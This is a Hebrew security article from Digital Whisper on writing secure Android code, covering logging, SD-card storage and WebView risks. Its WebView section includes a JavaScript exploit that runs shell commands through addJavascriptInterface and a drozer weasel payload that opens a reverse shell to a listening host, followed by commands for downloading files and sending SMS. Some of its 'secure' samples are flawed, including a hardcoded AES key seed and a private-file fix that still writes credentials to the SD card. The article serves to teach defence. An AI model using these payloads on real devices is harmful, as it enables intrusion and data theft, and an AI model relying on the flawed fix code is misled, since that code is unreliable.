Digital Whisper
Technologic Papers

כתיבת קוד בטוח באנדרואיד

מאת איזגייב זוהר

הקדמה

טלפונים ניידים מאז ומתמיד היו מטרה פגיעה לתוקפים שונים. עד שמערכות ההפעלה של אותם טלפונים לא הוציאו עדכוני אבטחה משמעותיים, כמו חתימת אפליקציות ואישור מפתחים עצמאיים מכשירים אלו היו פגיעים מאד. כיום, אנדרואיד היא מערכת ההפעלה השימושית ביותר לטלפונים ניידים ומשרתת מאות מיליוני אנשים בכל העולם.

במאמר זה אסקור מספר דרכים לכתיבת קוד מאובטח בסביבת אנדרואיד. ההנחיות במאמר זה אינן תקפות לגבי פיתוח בג'אווה בסביבה השונה מאנדרואיד.

מודל האבטחה של אנדרואיד

על מנת להבין יותר לעומק אודות הטלפונים שלנו, ומערכות ההפעלה שהטלפונים שלנו משתמשים בהן נצטרך להבין מהו המודלי האבטחתי של אנדרואיד.

אנדרואיד היא מערכת הפעלה אשר משמשת לרוב לטלפונים אך נמצאת במרחב גדול של מכשירים: טלוויזיות, טאבלטים, מערכות אבטחה (לבתים לרוב), מקררים, מצלמות, ואפילו קונסולות משחקים.

מודל האבטחה של אנדרואיד עוצב כך שכל המשתמשים בו יוכלו להשתמש בו בקלות, נוחות השימוש מאפשרת למפתחים מכל הסוגים (החל ממפתחים חדשים ועם מפתחים מנוסים עם שנות רבות ניסיון) להשתמש ב-SDK לכתיבת אפליקציות עם שכבת אבטחה.

ארכיטקטורת אבטחה

המטרה של מערכת ההפעלה אנדרואיד, (בין היתר) היא לספק הגנה על המידע של המשתמש, על משאבי המערכת, ולספק סביבה מבודדת בה כל אפליקציה מופרדת ומובדלת משאר האפליקציות במכשיר. על מנת לענות על מטרה זו, נעבור על מספר מהפיצ'רים המשמעותיים ביותר עבורינו במערכת ההפעלה:

- סביבת sandbox עבור כל אפליקציה שמותקנת במכשיר
- תקשורת מאובטחת בין-תהליכים

- חתימת אפליקציות לאחר יצירתן (מעין חותמת אישור על ייצור האפליקציה והוצאתה לחנות האפליקציות)
- מנגנון הרשאות-משתמש שמוגדר על ידי האפליקציה
- הגנה ברמת מערכת ההפעלה על ידי התבססות על ה-kernel של לינוקס

שמירת מידע רגיש בלוגים

אנדרואיד מאפשרת למפתחים להוציא לוגים כמקור פלט. אפליקציות יכולות לשלוח לוגים דרך המחלקה android.util.Log, על מנת לשלוח הודעת לוג מהאפליקציה ניתן להשתמש בפקודה log.

פקודות באנדרואיד לכתיבה ללוג:

Log.d(debug)	Log.e(Error)	
Log.i(info)	Log.v(verbose)	Log.w(warn)

קריאת מידע מהלוג: יש להשתמש בהרשאה READ_LOGS בקובץ המניפסט על מנת שהאפליקציה שלנו תוכל לקרוא מהלוגים:

```
<uses-permission android:name="android.permission.READ_LOGS"/>
```

לפני אנדרואיד 4.0, כל אפליקציה שהייתה עם ההרשאה READ_LOGS יכלה לקרוא את הלוגים של האפליקציות האחרות - חשיפה זו תוקנה באנדרואיד 4.1. למרות התיקון, כיום ניתן לחבר מכשיר אנדרואיד ל-PC ולהחשף ללוגים של אפליקציות אחרות.

על כן, יש להמנע מחשיפת מידע רגיש בלוגים.

דוגמת קוד:

```
/*
This function is responsible on writing the current location
of the user to the log state.
Please note that this function is under the usage of an app
with a target android version of 4.0
 */
private void saveLocationToLog() {
    LocationResult locationResult = new LocationResult() {
      public void saveToLog(Location location) {
          // We have got the location
          // Now we are about to write the current location to the log.
          Log.w("User Location", location);
      }
      MyLocation myLocation = new MyLocation();
      myLocation.getLocation(this, locationResult);
    };
}
```

דוגמת הקוד הבאה מתארת דוגמא לפונקציה באנדרואיד בה אני משתמש באובייקט LocationResult שאני יוצר על מנת לשמור על המיקום הנוכחי של המשתמש. כפי שניתן לראות, תחת הפונקציה saveToLog האובייקט האחראי להצגת המיקום הנוכחי של המשתמש נכתב ללוג כ-Warning.

דוגמת ניצול:

```
/*
This function reads all of the log messages of the other apps
this will work only prior to 4.0 android version.
 */

public void LogcatListener() {
    try {
        Process process = Runtime.getRuntime().exec("logcat");
        BufferReader bufferReader = new BufferReader(
          new InputStreamReader(process.getInputStream());
        );

        StringBuilder historyLogMessage = new StringBuilder();
        String line = "";
        while((line = bufferReader.readLine()) != null) {
            historyLogMessage.append(line);
        }
        Log.w("Logcat history: ", historyLogMessage);
    } catch (IOException e) {
        // take care of the exception over here.
        // drunk, fix later.
    }
}
```

פתרון:

על מפתחי האפליקציות לדאוג שהם לא שולחים מידע רגיש בלוג האפליקציה, אם האפליקציה משתמשת בספרייה צד-שלישית על המפתחים לבדוק שהספרייה לא שולחת מידע רגיש ללוגים.

פרצות קשורות:

- Facebook SDK for Android: http://readwrite.com/2012/04/10/what-developers-and-users-can#awesm=~o9iqZAMlUPshPu

שמירת מידע רגיש בזיכרון חיצוני (כרטיס SD)

אנדרואיד מאפשרת למפתח מספר אפשרויות לשמירת נתונים, כאשר אחת מהאופציות היא שמירת הנתונים בזיכרון חיצוני (sdcard). לפני גרסת אנדרואיד 4.1, קבצים שנשמרו בזיכרון החיצוני היו ניתנים לקריאה על ידי אפליקציות אחרות ובכך היו יכולות להיחשף למידע רגיש שנשמר על המשתמש. החל מגרסת אנדרואיד 4.4, צוות הפיתוח החליט להכניס את מנגנון הקבוצות וההרשאות של קבצים אשר נוצר על בסיס התיקייה בה הקובץ נמצא. מנגנון זה אפשר לנהל, לקרוא ולכתוב קבצים בתיקייה שבה חבילת האפליקציה נכתבה. כתוצאה משימוש במנגנון זה, משתמשים ואפליקציות נמצאות בסביבות שונות מבחינת נתוני זיכרון חיצוניים ואין להם גישה לנתונים אלו.

על כן, כתיבת מידע רגיש לזיכרון חיצוני היא פעולה שלא מומלץ לבצע משום שניתן יהיה לגשת למידע זה גם מאפליקציות אחרות. למרות זאת, אם בכל זאת כמפתח אפליקציה מצאת צורך לשמור מידע רגיש בזיכרון החיצוני יש להצפין מידע זה לפני שמירתו בזיכרון זה.

דוגמת קוד:

```
/* This function is responsible on creating a new file in the sdcard
    and saving username and password credentials to it as data
*/
private void saveFileToSdcard(String username, String password) {
    try {
        File myFile = new File("/sdcard/digitalwhisperexample.txt");
        myFile.createNewFile();
        FileOutputStream fileOutput = new FileOutputStream(myFile);
        OutputStreamWriter outputWriter = new OutputStreamWriter(fileOutput);
        outputWriter.append("Username: " + username);
        outputWriter.append("Password: " + password);
        outputWriter.close();
        fileOutput.close();
        Toast.makeText(getBaseContext(), "Done writing SD
'digitalwhisperexample.txt'",
                Toast.LENGTH_SHORT).show();
    } catch (IOException e) {
        // take care of the exception over here.
        // drunk, fix later.
    }
}
```

בקטע הקוד הבא נוכל לראות דוגמא לשמירת קובץ ב-sdcard ושמירת נתוני משתמש וסיסמה שמתקבלים כפרמטר בקובץ.

פתרון #1 - שמירת הקובץ הזיכרון הפנימי:

בקטע הקוד הבא נוכל לראות שימוש במתודה openFileOutput() אשר יוצרת קובץ בשם digitalwhisper עם התכונה MODE_PRIVATE אשר מורה על כך שלאפליקציות אחרות לא תהיה גישה לקובץ זה:

```
private void savePrivateFile(String username, String password) {
    try {
        File myFile = new File("/sdcard/digitalwhisperexample.txt");
        myFile.createNewFile();
        FileOutputStream fileOutput = new FileOutputStream(myFile);
        OutputStreamWriter outputWriter = new OutputStreamWriter(fileOutput,
                Context.MODE_PRIVATE);
        outputWriter.append("Username: " + username);
        outputWriter.append("Password: " + password);
        outputWriter.close();
        fileOutput.close();
        Toast.makeText(getBaseContext(), "Done writing SD
'digitalwhisperexample.txt'",
                Toast.LENGTH_SHORT).show();
    } catch (IOException e) {
        // take care of the exception over here.
        // drunk, fix later.
    }
}
```

פתרון #2 - הצפנת המידע לפני שמירתו:

כפי שנרשם בפסקה הקודמת, במידה ובתור מפתח אפליקציה מצאת סיבה לשמור נתון רגיש בזיכרון החיצוני, עלייך להצפין את המידע לפני שמירתו לזיכרון זה:

```
/* This function is responsible on AES encryption implementation */
private static byte[] encrypt(byte[] raw, byte[] clear) throws Exception {
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
    byte[] encrypted = cipher.doFinal(clear);
    return encrypted;
}
/* This function is responsible on saving username & password as AES encrypted
    to a new file in the sdcard. Please note that I simulate file saving
operation
    using a method named savePrivateFileContents
 */
private void saveEncryptedFile(String username, String password) {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    bm.compress(Bitmap.CompressFormat.PNG, 100, baos);
    byte[] b = baos.toByteArray();
    byte[] keyStart = "our-key".getBytes();
    KeyGenerator kgen = KeyGenerator.getInstance("AES");
    SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
    sr.setSeed(keyStart);
    kgen.init(128, sr); // 192 and 256 bits may not be available
    SecretKey skey = kgen.generateKey();
    byte[] key = skey.getEncoded();

    // encrypt
    byte[] encryptedData = encrypt(key,b);
    String fileData = new String(encryptedData);
    savePrivateFileContents(fileData, "digitalwhisper.txt");
}
```

פרצות קשורות:

- JVN#92038939 mixi for Android information management vulnerability

מניעת WebView מקריאת קבצים מקומיים רגשיים

המחלקה WebView מציגה אתרי-אינטרנט כחלק מתבנית המסך. התנהגות האובייקט WebView ניתנת לשינוי על ידי שימוש באובייקט WebSettings, כאשר ניתן לגשת אליו בצורה הבאה:

```
WebView.getSettings()
```

בפעולות setAllowFileAccess(), setPluginState(), setJavaScriptEnabled() תחת אובייקט זה יש בעיות אבטחה עליהן נדבר בפסקה זו.

- **setJavaScriptEnabled()** - המתודה setJavaScriptEnabled() מאפשרת הרצה של javascript ב-WebView.
- **setPluginState()** - המתודה setPluginState() מאפשרת ל-WebView להריץ פלאגינים שונים.
- **setAllowFileAccess()** - מתודה זו אחראית לאפשור גישה לקבצים ב-WebView.
- **setAllowContentAccess()** - מתודה זו אחראית לאפשור גישה לקובץ שנטען על ידי content provider שמותקן על אותה מערכת במכשיר.
- **setAllowFileAccessFromFileUrls()** - מתודה זו אחראית על הרצת javascript כקובץ חיצוני.
- **setAllowUniveralAccessFromFileUrls()** - מתודה זו אחראית על הרצת javascript ממקורות חיצוניים.

בעיות אבטחה במחלקת WebView

כאשר Activity מסוים מציג WebView אשר תפקידו להציג דפי-אינטרנט, כל אפליקציה יכולה לכתוב קוד אשר שולח Intent עם URI לבחירה ולגרום ל-WebView להציג דף אינטרנט זה.

כעת, על אפליקציה זדונית ליצור ולשמור תוכן בזיכרון המקומי, לאפשר גישה על ידי ההרשאה MODE_WORLD_READABLE ולשלוח את ה-URI שמפתח האפליקציה הזדונית בחר על ידי בקשת file.

הקורבן מצד שני, ירנדר את הבקשה וכאשר הקורבן יכיל את ההגדרה של אפשור הרצת קבצי javascript לאפליקציה הזדונית תהיה גישה לפרטים אישיים.

קוד דוגמא:

בקוד הבא יש שימוש ב-WebView להצגת דפי אינטרנט יחד עם הגדרה להרצת javascript ולטעון כל URI שנשלח על ידי Intent ללא בדיקה:

```
public class WebViewActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_web_view);

        WebView displayWebView = new WebView(this);
        displayWebView.getSettings().setJavaScriptEnabled(true);
        displayWebView.addJavascriptInterface(new JavaScriptInterface(),
"jsinterface");
        displayWebView.loadUrl("file://android_assets/www.index.html");
        setContentView(displayWebView);
    }

    final class JavaScriptInterface {
        JavaScriptInterface() { }
        public String stringPropery {
            return "string";
        }
    }
}
```

דרך ניצול:

הקוד הבא מציג כיצד ניתן לנצל בעיה זאת לטובתינו:

```
// Web View Exploitation Example
var interfaceMember = window.jsinterface.stringProperty;
// infect WebView by execution of operating system commands
function execute(cmd) {
    return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',
null).invoke(null, null).exec(cmd);\
}
execute(['/system/bin/sh', '-c', 'echo \"mwr\" > /mnt/sdcard/mwr.txt'])
```

Drozer

Drozer היא הספרייה הפופלארית ביותר כיום לבדיקות אבטחה במערכת הפעלה מסוג אנדרואיד. Drozer אפשרת לחפש אחר חולשות אבטחה באפליקציות ומכשירים על ידי התקשרות מול Davlik VM, IPC של אפליקציות אחרות ומערכת ההפעלה עצמה. Drozer עוזרת ביצירת קליינט Drozer בעת ביצוע code execution על מכשיר. בנוסף לכל זה, Drozer היא ספריית קוד-פתוח (קישור תוכלו למצוא כאן).

ניתן ללכת צעד אחד קדימה עם הניצול ולהשתמש ב-Drozer payload. בנוסף לשימוש ב-Drozer, נשתמש גם ב-weasel אשר אחראית על ריצת drozer קליינט ברגע שמתבצע code execution על מכשיר אנדרואיד:

```
$ drozer payload list
shell.reverse_tcp.armeabi    Establish a reverse TCP Shell (ARMEABI)
weasel.reverse_tcp.armeabi   weasel through a reverse TCP Shell (ARMEABI)
weasel.shell.armeabi         Deploy weasel, through a set of Shell commands
(ARMEABI)

$ drozer payload build weasel.shell.armeabi | grep echo | awk -F \"
{'gsub("\\\\","\\\\");
print "execute([\x27/system/bin/sh\x27,\x27-c\x27,\x27 echo -e \\\""$2"\\\" >
\x27+path]);"'}
```

הסבר: בפקודות הבאות אנו משתמשים ב-drozer ליצירת weasel payload. לאחר מכן אנו מדפיסים למסך הterminal את ה-payload בג'אווה סקריפט שנדביק בעת ביצוע code execution.

ה-payload שאנחנו הולכים להזריק ל-webview ייראה כך:

```
$ cat drozer.js
var host = '192.168.1.99';
var port = '31415';
var path = '/data/data/com.vuln.app/files/weasel';
function execute(cmd){
  return
window.interface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',
null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/rm',path]);
execute(['/system/bin/sh','-c','echo -e "..." > '+path]);
execute(['/system/bin/chmod','770',path]);
execute([path,host,port]);
```

במידה וה-payload הוזרק בהצלחה, כעת זנריק weasel payload, בקוד הבא אנו מפעילים את שרת ה-drozer ומאזינים לבקשות:

```
$ drozer server start
Starting drozer Server, listening on 0.0.0.0:31415
2013-08-06 15:02:08,238 - drozer.server.protocols.http - INFO - GET /agent.jar
2013-08-06 15:02:08,256 - drozer.server.protocols.http - INFO - GET /agent.apk
2013-08-06 15:02:08,808 - drozer.server.protocols.drozerp.droidhg - INFO -
accepted connection from 47k5n8v3nbdpg
```

```
2013-08-06 15:02:08,834 - drozer.server.protocols.shell - INFO - accepted shell
from 192.168.1.99:63804
```

לאחר התקשרות נכונה מול שרת ה-Drozer נוכל לשלוח פקודות לביצוע פעולות שונות, החל מביצוע penteration testing על מכשיר הטלפון ועד להפעלת intent, שליחת סמסים, שליחת מיילים, בדיקה של אפליקציות מותקנות על המכשיר, הרצת אפליקציות ועוד:

```
$ run tools.file.download [mnt/sdcard/digitalwhisper]
[mnt/sdcard/pictures/digitalwhisper.png]

$ run app.package.list -f firefox

$ run app.package.attacksurface org.mozila.firefox

$ run ex.SMS.create -n *telephone number* -m *message to send*
```

בדוגמא הבאה, בפקודה הראשונה ביקשנו להוריד קובץ תמונה ולהעבירו מתיקיית המקור בה התמונה הייתה נמצאת, אל תיקיית digitalwhisper תחת ה-sdcard הנוכחי.

בפקודה השנייה אנו בודקים האם יש חבילות מותקנות במכשיר שמכילות את המילה "firefox" על מנת שנוכל לזהות מה שם החבילה של הדפדפן שאיתו נריץ סביבה מתאימה.

בפקודה השלישית אנו מריצים את הדפדפן firefox, כסביבת בדיקה.

בפקודה הרביעית ניתן לראות דוגמא לשליחת הודעת סמס עם ציון מספר הטלפון אליו אנו מעוניינים לשלוח הודעה בצירוף ההודעה עצמה.

דרך טיפול:

אפליקציות שרצות עם גרסת אנדרואיד 4.2 חושפות את המתודות עם המאפיין Public על ידי חתימת אפליקציות אלו כ-JavascriptInterface. על כן, באופן כללי הייתי ממליץ לעבוד בגרסת SDK17 או גבוהה מ-17, בגרסאות אלו על מנת לחשוף מתודה "שיתופית" יש לחתום את המתודה על ידי שימוש ב-JavascriptInterface, מתודות שאינן חתומות כך אינן גישות ל-javascript.

פרצות קשורות:

- JVN#46088915 Yahoo! Browser vulnerable in the WebView class

סיכום

במאמר זה בחנו מעט ממספר בעיות האבטחה הקיימות באנדרואיד, זהו אך ורק קצה הקרחון גם בבעיות האבטחה עצמן וגם במימוש הפתרונות. למדנו על מספר בעיות האבטחה הגדולות במערכת, על דרכי הפתרונות ודיברנו על כלים כדוגמת Drozer שיכולים לעזור לנו רבות במציאת חורי אבטחה מסוג זה.

אני מקווה שהצלחתי לחדש, להעשיר בידע, לגוון ולהעביר קצת ממני.